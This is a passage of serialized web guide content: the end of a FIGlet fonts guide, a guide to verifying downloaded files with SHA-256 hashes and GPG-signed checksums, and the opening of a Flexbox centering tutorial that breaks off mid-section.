readability needs, and visual tone",[44,103587,103588],{},"Always test rendered output in the target environment — width and rendering vary",[11,103590,321],{"id":320},[41,103592,103593,103597],{},[44,103594,103595],{},[98,103596,6823],{"href":7145},[44,103598,103599],{},[98,103600,7110],{"href":7109},[11,103602,286],{"id":285},[16,103604,103605],{},"Explore FIGlet fonts interactively with our free online ASCII Art generator. Switch between fonts, adjust width, and preview your banner before copying it to your project.",[16,103607,103608],{},[98,103609,7121],{"href":7120},[2043,103611,26028],{},{"title":141,"searchDepth":337,"depth":337,"links":103613},[103614,103615,103619,103624,103625,103626,103627,103628,103629,103630],{"id":102989,"depth":337,"text":102990},{"id":102999,"depth":337,"text":103000,"children":103616},[103617,103618],{"id":103006,"depth":343,"text":103007},{"id":103116,"depth":343,"text":103117},{"id":103135,"depth":337,"text":103136,"children":103620},[103621,103622,103623],{"id":103142,"depth":343,"text":103143},{"id":103149,"depth":343,"text":103150},{"id":103156,"depth":343,"text":103157},{"id":103163,"depth":337,"text":103164},{"id":103304,"depth":337,"text":103305},{"id":103454,"depth":337,"text":103455},{"id":103485,"depth":337,"text":103486},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Deep dive into FIGlet font format and how ASCII text generators render characters using smushing, kerning, and FLF files.",{"keywords":103633},[7143,103634],"figlet-fonts-explained",{"title":7104,"description":103631},"guides\u002Ffiglet-fonts-explained","Oq6vmVc3z5e7TolztyfyyIcSAd5nyFn0zk4ANH_u19o",{"id":103639,"title":103640,"body":103641,"date":2070,"description":104071,"extension":361,"meta":104072,"navigation":363,"path":104073,"readingTime":1710,"seo":104074,"stem":104075,"__hash__":104076},"guides\u002Fguides\u002Ffile-integrity-hashing.md","File Integrity Verification With Hashes",{"type":8,"value":103642,"toc":104054},[103643,103647,103650,103653,103657,103660,103666,103669,103673,103676,103680,103684,103726,103740,103744,103782,103786,103793,103836,103840,103843,103849,103852,103866,103869,103873,103876,103916,103919,103923,103994,103996,104022,104024,104044,104046,104051],[11,103644,103646],{"id":103645},"why-file-integrity-matters","Why File Integrity Matters",[16,103648,103649],{},"When you download a file from the internet, you trust that the file on your disk matches what the publisher uploaded. But files pass through CDNs, mirrors, and proxy servers — any of which could serve a modified version. Supply chain attacks, where legitimate software is replaced with malware, have targeted package managers, installers, and even ISO images.",[16,103651,103652],{},"Hash-based verification gives you a cryptographic guarantee that the file you received is bit-for-bit identical to the one the publisher released. If a single byte differs, the hash changes completely.",[11,103654,103656],{"id":103655},"how-hash-verification-works","How Hash Verification Works",[16,103658,103659],{},"The publisher computes a hash of the original file and publishes it on a trusted channel (their website, a signed release page, or the release notes). After downloading, you compute the hash of your local copy and compare:",[135,103661,103664],{"className":103662,"code":103663,"language":140},[138],"Publisher:  sha256sum release-v2.tar.gz → e3b0c44298fc1c14...\nYou:        sha256sum release-v2.tar.gz → e3b0c44298fc1c14...\nMatch → File is intact\n",[143,103665,103663],{"__ignoreMap":141},[16,103667,103668],{},"If the_hashes match, you have the authentic file. If they differ, the file was modified in transit or substituted.",[33,103670,103672],{"id":103671},"why-sha-256","Why SHA-256",[16,103674,103675],{},"SHA-256 is the current standard for file integrity. It produces a 256-bit (64-character hex) digest with no known collision attacks. MD5 and SHA-1 are deprecated for security purposes because practical collision attacks exist — an attacker could craft a malicious file with the same MD5 or SHA-1 hash as the legitimate one.",[11,103677,103679],{"id":103678},"step-by-step-verification","Step-by-Step Verification",[33,103681,103683],{"id":103682},"linux-and-macos","Linux and macOS",[135,103685,103687],{"className":6951,"code":103686,"language":6953,"meta":141,"style":141},"# Generate the hash\nsha256sum downloaded-file.zip\n\n# Compare with the published hash\necho \"expected-hash-here  downloaded-file.zip\" | sha256sum --check\n",[143,103688,103689,103694,103702,103706,103711],{"__ignoreMap":141},[1560,103690,103691],{"class":1562,"line":1563},[1560,103692,103693],{"class":1649},"# Generate the hash\n",[1560,103695,103696,103699],{"class":1562,"line":337},[1560,103697,103698],{"class":1566},"sha256sum",[1560,103700,103701],{"class":5634}," downloaded-file.zip\n",[1560,103703,103704],{"class":1562,"line":343},[1560,103705,1702],{"emptyLinePlaceholder":363},[1560,103707,103708],{"class":1562,"line":365},[1560,103709,103710],{"class":1649},"# Compare with the published hash\n",[1560,103712,103713,103715,103718,103720,103723],{"class":1562,"line":889},[1560,103714,24278],{"class":1576},[1560,103716,103717],{"class":5634}," \"expected-hash-here  downloaded-file.zip\"",[1560,103719,17408],{"class":1669},[1560,103721,103722],{"class":1566}," sha256sum",[1560,103724,103725],{"class":1576}," --check\n",[16,103727,103728,103729,103731,103732,103735,103736,103739],{},"If the file matches, ",[143,103730,103698],{}," prints ",[143,103733,103734],{},"downloaded-file.zip: OK",". If not, it prints ",[143,103737,103738],{},"FAILED"," and returns a non-zero exit code.",[33,103741,103743],{"id":103742},"windows-powershell","Windows (PowerShell)",[135,103745,103747],{"className":24185,"code":103746,"language":24187,"meta":141,"style":141},"# Generate the hash\nGet-FileHash downloaded-file.zip -Algorithm SHA256\n\n# Compare manually with the published hash\n$expected = \"e3b0c44298fc1c149afbf4c8996fb924...\"\n$actual = (Get-FileHash downloaded-file.zip -Algorithm SHA256).Hash\nif ($actual -eq $expected) { \"OK\" } else { \"MISMATCH\" }\n",[143,103748,103749,103753,103758,103762,103767,103772,103777],{"__ignoreMap":141},[1560,103750,103751],{"class":1562,"line":1563},[1560,103752,103693],{},[1560,103754,103755],{"class":1562,"line":337},[1560,103756,103757],{},"Get-FileHash downloaded-file.zip -Algorithm SHA256\n",[1560,103759,103760],{"class":1562,"line":343},[1560,103761,1702],{"emptyLinePlaceholder":363},[1560,103763,103764],{"class":1562,"line":365},[1560,103765,103766],{},"# Compare manually with the published hash\n",[1560,103768,103769],{"class":1562,"line":889},[1560,103770,103771],{},"$expected = \"e3b0c44298fc1c149afbf4c8996fb924...\"\n",[1560,103773,103774],{"class":1562,"line":1710},[1560,103775,103776],{},"$actual = (Get-FileHash downloaded-file.zip -Algorithm SHA256).Hash\n",[1560,103778,103779],{"class":1562,"line":1717},[1560,103780,103781],{},"if ($actual -eq $expected) { \"OK\" } else { \"MISMATCH\" }\n",[33,103783,103785],{"id":103784},"cross-platform-quick-check","Cross-Platform Quick Check",[16,103787,103788,103789,103792],{},"Many publishers publish a ",[143,103790,103791],{},".sha256"," checksum file alongside the download:",[135,103794,103796],{"className":6951,"code":103795,"language":6953,"meta":141,"style":141},"# Download both files\nwget https:\u002F\u002Fexample.com\u002Frelease-v2.tar.gz\nwget https:\u002F\u002Fexample.com\u002Frelease-v2.tar.gz.sha256\n\n# Verify\nsha256sum -c release-v2.tar.gz.sha256\n",[143,103797,103798,103803,103811,103818,103822,103827],{"__ignoreMap":141},[1560,103799,103800],{"class":1562,"line":1563},[1560,103801,103802],{"class":1649},"# Download both files\n",[1560,103804,103805,103808],{"class":1562,"line":337},[1560,103806,103807],{"class":1566},"wget",[1560,103809,103810],{"class":5634}," https:\u002F\u002Fexample.com\u002Frelease-v2.tar.gz\n",[1560,103812,103813,103815],{"class":1562,"line":343},[1560,103814,103807],{"class":1566},[1560,103816,103817],{"class":5634}," https:\u002F\u002Fexample.com\u002Frelease-v2.tar.gz.sha256\n",[1560,103819,103820],{"class":1562,"line":365},[1560,103821,1702],{"emptyLinePlaceholder":363},[1560,103823,103824],{"class":1562,"line":889},[1560,103825,103826],{"class":1649},"# Verify\n",[1560,103828,103829,103831,103833],{"class":1562,"line":1710},[1560,103830,103698],{"class":1566},[1560,103832,27519],{"class":1576},[1560,103834,103835],{"class":5634}," release-v2.tar.gz.sha256\n",[11,103837,103839],{"id":103838},"checking-multiple-files","Checking Multiple Files",[16,103841,103842],{},"For releases with many files, publishers often provide a checksums file:",[135,103844,103847],{"className":103845,"code":103846,"language":140},[138],"e3b0c44298fc1c14...  release-v2.tar.gz\na7ffc6f8bf1ed766...  release-v2.zip\n2cf24dba5fb0a30e...  release-v2-installer.exe\n",[143,103848,103846],{"__ignoreMap":141},[16,103850,103851],{},"Download all files and the checksums file, then:",[135,103853,103855],{"className":6951,"code":103854,"language":6953,"meta":141,"style":141},"sha256sum -c checksums.txt\n",[143,103856,103857],{"__ignoreMap":141},[1560,103858,103859,103861,103863],{"class":1562,"line":1563},[1560,103860,103698],{"class":1566},[1560,103862,27519],{"class":1576},[1560,103864,103865],{"class":5634}," checksums.txt\n",[16,103867,103868],{},"This verifies every file listed and reports any mismatches.",[11,103870,103872],{"id":103871},"verifying-signed-checksums","Verifying Signed Checksums",[16,103874,103875],{},"A hash alone only tells you the file matches the published hash. But what if the publisher's website was compromised and the hash was replaced? To verify authenticity, not just integrity, publishers sign checksum files with GPG:",[135,103877,103879],{"className":6951,"code":103878,"language":6953,"meta":141,"style":141},"# Verify the signature on the checksums file\ngpg --verify checksums.txt.sig checksums.txt\n\n# Then verify the files against the checksums\nsha256sum -c checksums.txt\n",[143,103880,103881,103886,103899,103903,103908],{"__ignoreMap":141},[1560,103882,103883],{"class":1562,"line":1563},[1560,103884,103885],{"class":1649},"# Verify the signature on the checksums file\n",[1560,103887,103888,103891,103894,103897],{"class":1562,"line":337},[1560,103889,103890],{"class":1566},"gpg",[1560,103892,103893],{"class":1576}," --verify",[1560,103895,103896],{"class":5634}," checksums.txt.sig",[1560,103898,103865],{"class":5634},[1560,103900,103901],{"class":1562,"line":343},[1560,103902,1702],{"emptyLinePlaceholder":363},[1560,103904,103905],{"class":1562,"line":365},[1560,103906,103907],{"class":1649},"# Then verify the files against the checksums\n",[1560,103909,103910,103912,103914],{"class":1562,"line":889},[1560,103911,103698],{"class":1566},[1560,103913,27519],{"class":1576},[1560,103915,103865],{"class":5634},[16,103917,103918],{},"The signature proves the checksums came from the publisher's private key. Two-layer verification — signature then hash — is the gold standard for security-critical downloads.",[11,103920,103922],{"id":103921},"common-use-cases","Common Use Cases",[193,103924,103925,103937],{},[196,103926,103927],{},[199,103928,103929,103931,103934],{},[202,103930,21080],{},[202,103932,103933],{},"What to verify",[202,103935,103936],{},"Where to find the hash",[211,103938,103939,103950,103961,103972,103983],{},[199,103940,103941,103944,103947],{},[216,103942,103943],{},"Operating system ISOs",[216,103945,103946],{},"The ISO file",[216,103948,103949],{},"Official release page",[199,103951,103952,103955,103958],{},[216,103953,103954],{},"npm\u002Fpip packages",[216,103956,103957],{},"Package tarball",[216,103959,103960],{},"Registry metadata",[199,103962,103963,103966,103969],{},[216,103964,103965],{},"Docker images",[216,103967,103968],{},"Image layers",[216,103970,103971],{},"Docker Hub manifest digest",[199,103973,103974,103977,103980],{},[216,103975,103976],{},"Firmware updates",[216,103978,103979],{},"Firmware binary",[216,103981,103982],{},"Vendor security page",[199,103984,103985,103988,103991],{},[216,103986,103987],{},"Database backups",[216,103989,103990],{},"Backup file",[216,103992,103993],{},"Your own records",[11,103995,2341],{"id":2340},[41,103997,103998,104004,104010,104016],{},[44,103999,104000,104003],{},[47,104001,104002],{},"Verifying only some files"," — if a release contains multiple files, verify all of them, not just the main archive",[44,104005,104006,104009],{},[47,104007,104008],{},"Trusting the source of the hash"," — a hash on the same compromised server as the file is useless. Use signed checksums or compare across independent sources",[44,104011,104012,104015],{},[47,104013,104014],{},"Using MD5 or SHA-1"," — these are vulnerable to collision attacks. Always use SHA-256 or stronger",[44,104017,104018,104021],{},[47,104019,104020],{},"Ignoring mismatches"," — a hash mismatch means the file is not what the publisher released. Delete it and re-download from an official source",[11,104023,1355],{"id":1354},[41,104025,104026,104029,104032,104035,104038,104041],{},[44,104027,104028],{},"Hash verification confirms your downloaded file is bit-for-bit identical to the published original.",[44,104030,104031],{},"SHA-256 is the recommended algorithm — MD5 and SHA-1 are vulnerable to collision attacks.",[44,104033,104034],{},"Compare the hash you compute against the one published by the software author.",[44,104036,104037],{},"For security-critical downloads, verify signed checksums with GPG to confirm authenticity.",[44,104039,104040],{},"Always verify all files in a release, not just the main archive.",[44,104042,104043],{},"A hash mismatch means the file was modified — delete it and re-download from an official source.",[11,104045,286],{"id":285},[16,104047,104048,104049,468],{},"Generate SHA-256 hashes for any file or text input with the ",[98,104050,86434],{"href":86433},[2043,104052,104053],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":104055},[104056,104057,104060,104065,104066,104067,104068,104069,104070],{"id":103645,"depth":337,"text":103646},{"id":103655,"depth":337,"text":103656,"children":104058},[104059],{"id":103671,"depth":343,"text":103672},{"id":103678,"depth":337,"text":103679,"children":104061},[104062,104063,104064],{"id":103682,"depth":343,"text":103683},{"id":103742,"depth":343,"text":103743},{"id":103784,"depth":343,"text":103785},{"id":103838,"depth":337,"text":103839},{"id":103871,"depth":337,"text":103872},{"id":103921,"depth":337,"text":103922},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Use SHA-256 hashes to verify downloaded files haven't been tampered with — step by step.",{"immutable":363},"\u002Fguides\u002Ffile-integrity-hashing",{"title":103640,"description":104071},"guides\u002Ffile-integrity-hashing","_mYrUWqBUIxbmZijaSdX6P6lSaPQQg41dDdMvpQ3WhY",{"id":104078,"title":104079,"body":104080,"date":2070,"description":104938,"extension":361,"meta":104939,"navigation":363,"path":104940,"readingTime":1710,"seo":104941,"stem":104942,"__hash__":104943},"guides\u002Fguides\u002Fflexbox-centering-complete-guide.md","Flexbox Centering: Complete Guide",{"type":8,"value":104081,"toc":104914},[104082,104086,104103,104107,104111,104146,104154,104158,104168,104233,104237,104241,104276,104281,104285,104335,104338,104342,104345,104403,104406,104410,104457,104480,104484,104490,104554,104565,104569,104575,104633,104636,104638,104642,104647,104741,104745,104752,104781,104785,104795,104797,104870,104872,104904,104906,104911],[11,104083,104085],{"id":104084},"the-centering-problem","The Centering Problem",[16,104087,104088,104089,1459,104092,1459,104095,104098,104099,104102],{},"Centering elements in CSS has a notorious reputation. Before Flexbox, developers juggled ",[143,104090,104091],{},"margin: auto",[143,104093,104094],{},"text-align",[143,104096,104097],{},"line-height"," hacks, and absolute positioning with ",[143,104100,104101],{},"transform: translate",". Flexbox solves all of these cases with two properties. This guide covers every centering scenario Flexbox handles.",[11,104104,104106],{"id":104105},"horizontal-centering","Horizontal Centering",[33,104108,104110],{"id":104109},"inline-and-text-content","Inline and Text Content",[135,104112,104114],{"className":1554,"code":104113,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  justify-content: center;\n}\n",[143,104115,104116,104122,104132,104142],{"__ignoreMap":141},[1560,104117,104118,104120],{"class":1562,"line":1563},[1560,104119,1655],{"class":1566},[1560,104121,1571],{"class":1570},[1560,104123,104124,104126,104128,104130],{"class":1562,"line":337},[1560,104125,12504],{"class":1576},[1560,104127,1663],{"class":1570},[1560,104129,32187],{"class":1576},[1560,104131,2228],{"class":1570},[1560,104133,104134,104136,104138,104140],{"class":1562,"line":343},[1560,104135,32316],{"class":1576},[1560,104137,1663],{"class":1570},[1560,104139,32199],{"class":1576},[1560,104141,2228],{"class":1570},[1560,104143,104144],{"class":1562,"line":365},[1560,104145,1585],{"class":1570},[16,104147,104148,104150,104151,104153],{},[143,104149,41171],{}," aligns items along the main axis (horizontal by default). Setting it to ",[143,104152,32199],{}," pushes all flex children to the center of the row.",[33,104155,104157],{"id":104156},"block-level-elements","Block-Level Elements",[16,104159,104160,104161,104163,104164,104167],{},"The same rule applies — ",[143,104162,32855],{}," centers any flex child regardless of its display type. No ",[143,104165,104166],{},"margin: 0 auto"," needed.",[135,104169,104171],{"className":1554,"code":104170,"language":1556,"meta":141,"style":141},".card-wrapper {\n  display: flex;\n  justify-content: center;\n}\n\n.card {\n  width: 400px; \u002F* Centers within the flex row *\u002F\n}\n",[143,104172,104173,104180,104190,104200,104204,104208,104214,104229],{"__ignoreMap":141},[1560,104174,104175,104178],{"class":1562,"line":1563},[1560,104176,104177],{"class":1566},".card-wrapper",[1560,104179,1571],{"class":1570},[1560,104181,104182,104184,104186,104188],{"class":1562,"line":337},[1560,104183,12504],{"class":1576},[1560,104185,1663],{"class":1570},[1560,104187,32187],{"class":1576},[1560,104189,2228],{"class":1570},[1560,104191,104192,104194,104196,104198],{"class":1562,"line":343},[1560,104193,32316],{"class":1576},[1560,104195,1663],{"class":1570},[1560,104197,32199],{"class":1576},[1560,104199,2228],{"class":1570},[1560,104201,104202],{"class":1562,"line":365},[1560,104203,1585],{"class":1570},[1560,104205,104206],{"class":1562,"line":889},[1560,104207,1702],{"emptyLinePlaceholder":363},[1560,104209,104210,104212],{"class":1562,"line":1710},[1560,104211,1567],{"class":1566},[1560,104213,1571],{"class":1570},[1560,104215,104216,104218,104220,104222,104224,104226],{"class":1562,"line":1717},[1560,104217,12386],{"class":1576},[1560,104219,1663],{"class":1570},[1560,104221,24703],{"class":1576},[1560,104223,1670],{"class":1669},[1560,104225,3664],{"class":1570},[1560,104227,104228],{"class":1649},"\u002F* Centers within the flex row *\u002F\n",[1560,104230,104231],{"class":1562,"line":1747},[1560,104232,1585],{"class":1570},[11,104234,104236],{"id":104235},"vertical-centering","Vertical Centering",[33,104238,104240],{"id":104239},"single-line-of-text","Single Line of Text",[135,104242,104244],{"className":1554,"code":104243,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  align-items: center;\n}\n",[143,104245,104246,104252,104262,104272],{"__ignoreMap":141},[1560,104247,104248,104250],{"class":1562,"line":1563},[1560,104249,1655],{"class":1566},[1560,104251,1571],{"class":1570},[1560,104253,104254,104256,104258,104260],{"class":1562,"line":337},[1560,104255,12504],{"class":1576},[1560,104257,1663],{"class":1570},[1560,104259,32187],{"class":1576},[1560,104261,2228],{"class":1570},[1560,104263,104264,104266,104268,104270],{"class":1562,"line":343},[1560,104265,32194],{"class":1576},[1560,104267,1663],{"class":1570},[1560,104269,32199],{"class":1576},[1560,104271,2228],{"class":1570},[1560,104273,104274],{"class":1562,"line":365},[1560,104275,1585],{"class":1570},[16,104277,104278,104280],{},[143,104279,51743],{}," controls the cross axis (vertical by default). This centers flex children vertically within the container.",[33,104282,104284],{"id":104283},"full-height-vertical-center","Full-Height Vertical Center",[135,104286,104288],{"className":1554,"code":104287,"language":1556,"meta":141,"style":141},".hero {\n  display: flex;\n  align-items: center;\n  min-height: 100vh; \u002F* Needs a defined height *\u002F\n}\n",[143,104289,104290,104296,104306,104316,104331],{"__ignoreMap":141},[1560,104291,104292,104294],{"class":1562,"line":1563},[1560,104293,32789],{"class":1566},[1560,104295,1571],{"class":1570},[1560,104297,104298,104300,104302,104304],{"class":1562,"line":337},[1560,104299,12504],{"class":1576},[1560,104301,1663],{"class":1570},[1560,104303,32187],{"class":1576},[1560,104305,2228],{"class":1570},[1560,104307,104308,104310,104312,104314],{"class":1562,"line":343},[1560,104309,32194],{"class":1576},[1560,104311,1663],{"class":1570},[1560,104313,32199],{"class":1576},[1560,104315,2228],{"class":1570},[1560,104317,104318,104320,104322,104324,104326,104328],{"class":1562,"line":365},[1560,104319,32698],{"class":1576},[1560,104321,1663],{"class":1570},[1560,104323,18114],{"class":1576},[1560,104325,32705],{"class":1669},[1560,104327,3664],{"class":1570},[1560,104329,104330],{"class":1649},"\u002F* Needs a defined height *\u002F\n",[1560,104332,104333],{"class":1562,"line":889},[1560,104334,1585],{"class":1570},[16,104336,104337],{},"Vertical centering requires the container to have a height. Without it, the container shrinks to fit content and there is nothing to center within.",[11,104339,104341],{"id":104340},"both-axes-at-once","Both Axes at Once",[16,104343,104344],{},"The classic full center — horizontal and vertical — requires both properties:",[135,104346,104348],{"className":1554,"code":104347,"language":1556,"meta":141,"style":141},".center-both {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  min-height: 100vh;\n}\n",[143,104349,104350,104357,104367,104377,104387,104399],{"__ignoreMap":141},[1560,104351,104352,104355],{"class":1562,"line":1563},[1560,104353,104354],{"class":1566},".center-both",[1560,104356,1571],{"class":1570},[1560,104358,104359,104361,104363,104365],{"class":1562,"line":337},[1560,104360,12504],{"class":1576},[1560,104362,1663],{"class":1570},[1560,104364,32187],{"class":1576},[1560,104366,2228],{"class":1570},[1560,104368,104369,104371,104373,104375],{"class":1562,"line":343},[1560,104370,32316],{"class":1576},[1560,104372,1663],{"class":1570},[1560,104374,32199],{"class":1576},[1560,104376,2228],{"class":1570},[1560,104378,104379,104381,104383,104385],{"class":1562,"line":365},[1560,104380,32194],{"class":1576},[1560,104382,1663],{"class":1570},[1560,104384,32199],{"class":1576},[1560,104386,2228],{"class":1570},[1560,104388,104389,104391,104393,104395,104397],{"class":1562,"line":889},[1560,104390,32698],{"class":1576},[1560,104392,1663],{"class":1570},[1560,104394,18114],{"class":1576},[1560,104396,32705],{"class":1669},[1560,104398,2228],{"class":1570},[1560,104400,104401],{"class":1562,"line":1710},[1560,104402,1585],{"class":1570},[16,104404,104405],{},"This is the most common centering pattern. Modal overlays, hero sections,, and empty states all use it.",[33,104407,104409],{"id":104408},"shorthand-with-place-items","Shorthand With place-items",[135,104411,104413],{"className":1554,"code":104412,"language":1556,"meta":141,"style":141},".center-both {\n  display: flex;\n  place-items: center;\n  min-height: 100vh;\n}\n",[143,104414,104415,104421,104431,104441,104453],{"__ignoreMap":141},[1560,104416,104417,104419],{"class":1562,"line":1563},[1560,104418,104354],{"class":1566},[1560,104420,1571],{"class":1570},[1560,104422,104423,104425,104427,104429],{"class":1562,"line":337},[1560,104424,12504],{"class":1576},[1560,104426,1663],{"class":1570},[1560,104428,32187],{"class":1576},[1560,104430,2228],{"class":1570},[1560,104432,104433,104435,104437,104439],{"class":1562,"line":343},[1560,104434,53165],{"class":1576},[1560,104436,1663],{"class":1570},[1560,104438,32199],{"class":1576},[1560,104440,2228],{"class":1570},[1560,104442,104443,104445,104447,104449,104451],{"class":1562,"line":365},[1560,104444,32698],{"class":1576},[1560,104446,1663],{"class":1570},[1560,104448,18114],{"class":1576},[1560,104450,32705],{"class":1669},[1560,104452,2228],{"class":1570},[1560,104454,104455],{"class":1562,"line":889},[1560,104456,1585],{"class":1570},[16,104458,104459,104461,104462,1856,104464,104466,104467,104469,104470,104473,104474,104476,104477,104479],{},[143,104460,65719],{}," sets both ",[143,104463,51743],{},[143,104465,62954],{},". In Flexbox, ",[143,104468,62954],{}," is ignored on the container, but ",[143,104471,104472],{},"place-items: center"," effectively sets ",[143,104475,32859],{}," — and combined with ",[143,104478,32855],{},", achieves the same result. Most developers still prefer the explicit two-property version for clarity.",[11,104481,104483],{"id":104482},"centering-a-single-item-with-margin-auto","Centering a Single Item With margin: auto",[16,104485,104486,104487,104489],{},"When a flex container has only one child to center, ",[143,104488,104091],{}," on the child works:",[135,104491,104493],{"className":1554,"code":104492,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  min-height: 100vh;\n}\n\n.modal {\n  margin: auto; \u002F* Centers on both axes *\u002F\n}\n",[143,104494,104495,104501,104511,104523,104527,104531,104537,104550],{"__ignoreMap":141},[1560,104496,104497,104499],{"class":1562,"line":1563},[1560,104498,1655],{"class":1566},[1560,104500,1571],{"class":1570},[1560,104502,104503,104505,104507,104509],{"class":1562,"line":337},[1560,104504,12504],{"class":1576},[1560,104506,1663],{"class":1570},[1560,104508,32187],{"class":1576},[1560,104510,2228],{"class":1570},[1560,104512,104513,104515,104517,104519,104521],{"class":1562,"line":343},[1560,104514,32698],{"class":1576},[1560,104516,1663],{"class":1570},[1560,104518,18114],{"class":1576},[1560,104520,32705],{"class":1669},[1560,104522,2228],{"class":1570},[1560,104524,104525],{"class":1562,"line":365},[1560,104526,1585],{"class":1570},[1560,104528,104529],{"class":1562,"line":889},[1560,104530,1702],{"emptyLinePlaceholder":363},[1560,104532,104533,104535],{"class":1562,"line":1710},[1560,104534,48177],{"class":1566},[1560,104536,1571],{"class":1570},[1560,104538,104539,104541,104543,104545,104547],{"class":1562,"line":1717},[1560,104540,66201],{"class":1576},[1560,104542,1663],{"class":1570},[1560,104544,33331],{"class":1576},[1560,104546,3664],{"class":1570},[1560,104548,104549],{"class":1649},"\u002F* Centers on both axes *\u002F\n",[1560,104551,104552],{"class":1562,"line":1747},[1560,104553,1585],{"class":1570},[16,104555,104556,104557,104559,104560,1531,104562,104564],{},"Flexbox distributes free space evenly when a child has ",[143,104558,104091],{}," in a flex direction. This technique is useful when you cannot modify the container's ",[143,104561,41171],{},[143,104563,51743],{}," — for example, when sibling items should not be centered.",[11,104566,104568],{"id":104567},"centering-wrapped-content","Centering Wrapped Content",[16,104570,104571,104572,104574],{},"When flex items wrap, ",[143,104573,32855],{}," centers each row as a group:",[135,104576,104578],{"className":1554,"code":104577,"language":1556,"meta":141,"style":141},".tag-cloud {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: center;\n  gap: 8px;\n}\n",[143,104579,104580,104587,104597,104607,104617,104629],{"__ignoreMap":141},[1560,104581,104582,104585],{"class":1562,"line":1563},[1560,104583,104584],{"class":1566},".tag-cloud",[1560,104586,1571],{"class":1570},[1560,104588,104589,104591,104593,104595],{"class":1562,"line":337},[1560,104590,12504],{"class":1576},[1560,104592,1663],{"class":1570},[1560,104594,32187],{"class":1576},[1560,104596,2228],{"class":1570},[1560,104598,104599,104601,104603,104605],{"class":1562,"line":343},[1560,104600,32406],{"class":1576},[1560,104602,1663],{"class":1570},[1560,104604,32411],{"class":1576},[1560,104606,2228],{"class":1570},[1560,104608,104609,104611,104613,104615],{"class":1562,"line":365},[1560,104610,32316],{"class":1576},[1560,104612,1663],{"class":1570},[1560,104614,32199],{"class":1576},[1560,104616,2228],{"class":1570},[1560,104618,104619,104621,104623,104625,104627],{"class":1562,"line":889},[1560,104620,32235],{"class":1576},[1560,104622,1663],{"class":1570},[1560,104624,10078],{"class":1576},[1560,104626,1670],{"class":1669},[1560,104628,2228],{"class":1570},[1560,104630,104631],{"class":1562,"line":1710},[1560,104632,1585],{"class":1570},[16,104634,104635],{},"Items on each line are centered, and wrapped lines stack naturally. This produces a centered cloud effect common in tag lists and filter UIs.",[11,104637,10393],{"id":10392},[33,104639,104641],{"id":104640},"missing-container-height","Missing Container Height",[16,104643,104644,104646],{},[143,104645,32859],{}," does nothing if the container has no explicit height. The container collapses to the content height, leaving zero free space to distribute.",[135,104648,104650],{"className":1554,"code":104649,"language":1556,"meta":141,"style":141},"\u002F* Broken — no height to center within *\u002F\n.container {\n  display: flex;\n  align-items: center; \u002F* No effect *\u002F\n}\n\n\u002F* Fixed — explicit height *\u002F\n.container {\n  display: flex;\n  align-items: center;\n  min-height: 400px;\n}\n",[143,104651,104652,104657,104663,104673,104686,104690,104694,104699,104705,104715,104725,104737],{"__ignoreMap":141},[1560,104653,104654],{"class":1562,"line":1563},[1560,104655,104656],{"class":1649},"\u002F* Broken — no height to center within *\u002F\n",[1560,104658,104659,104661],{"class":1562,"line":337},[1560,104660,1655],{"class":1566},[1560,104662,1571],{"class":1570},[1560,104664,104665,104667,104669,104671],{"class":1562,"line":343},[1560,104666,12504],{"class":1576},[1560,104668,1663],{"class":1570},[1560,104670,32187],{"class":1576},[1560,104672,2228],{"class":1570},[1560,104674,104675,104677,104679,104681,104683],{"class":1562,"line":365},[1560,104676,32194],{"class":1576},[1560,104678,1663],{"class":1570},[1560,104680,32199],{"class":1576},[1560,104682,3664],{"class":1570},[1560,104684,104685],{"class":1649},"\u002F* No effect *\u002F\n",[1560,104687,104688],{"class":1562,"line":889},[1560,104689,1585],{"class":1570},[1560,104691,104692],{"class":1562,"line":1710},[1560,104693,1702],{"emptyLinePlaceholder":363},[1560,104695,104696],{"class":1562,"line":1717},[1560,104697,104698],{"class":1649},"\u002F* Fixed — explicit height *\u002F\n",[1560,104700,104701,104703],{"class":1562,"line":1747},[1560,104702,1655],{"class":1566},[1560,104704,1571],{"class":1570},[1560,104706,104707,104709,104711,104713],{"class":1562,"line":2507},[1560,104708,12504],{"class":1576},[1560,104710,1663],{"class":1570},[1560,104712,32187],{"class":1576},[1560,104714,2228],{"class":1570},[1560,104716,104717,104719,104721,104723],{"class":1562,"line":2524},[1560,104718,32194],{"class":1576},[1560,104720,1663],{"class":1570},[1560,104722,32199],{"class":1576},[1560,104724,2228],{"class":1570},[1560,104726,104727,104729,104731,104733,104735],{"class":1562,"line":2529},[1560,104728,32698],{"class":1576},[1560,104730,1663],{"class":1570},[1560,104732,24703],{"class":1576},[1560,104734,1670],{"class":1669},[1560,104736,2228],{"class":1570},[1560,104738,104739],{"class":1562,"line":2534},[1560,104740,1585],{"class":1570},[33,104742,104744],{"id":104743},"centering-vs-text-alignment","Centering vs. Text 